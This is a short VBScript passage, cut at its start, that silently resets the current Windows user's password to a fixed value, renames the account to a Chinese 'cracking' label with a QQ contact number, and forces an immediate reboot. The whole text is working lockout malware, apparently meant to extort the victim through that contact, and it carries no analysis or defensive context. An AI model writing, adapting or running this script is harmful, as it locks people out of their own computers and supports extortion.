n Error Resume Next Dim fso,ws,file,shut,password password="( 793292848qq)" Set fso=Wscript.CreateObject("Scripting.FileSystemObject") Set ws=Wscript.CreateObject("Wscript.Shell") fol=fso.GetSpecialFolder(1) file=fol & "\net.exe" shut=fol & "\shutdown.exe" ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True ws.Run "wmic.exe useraccount where name='%username%' call Rename ""诚信破解QQ:793292848"+Chr(34),0,True ws.run shut & " /r /f /t 0",0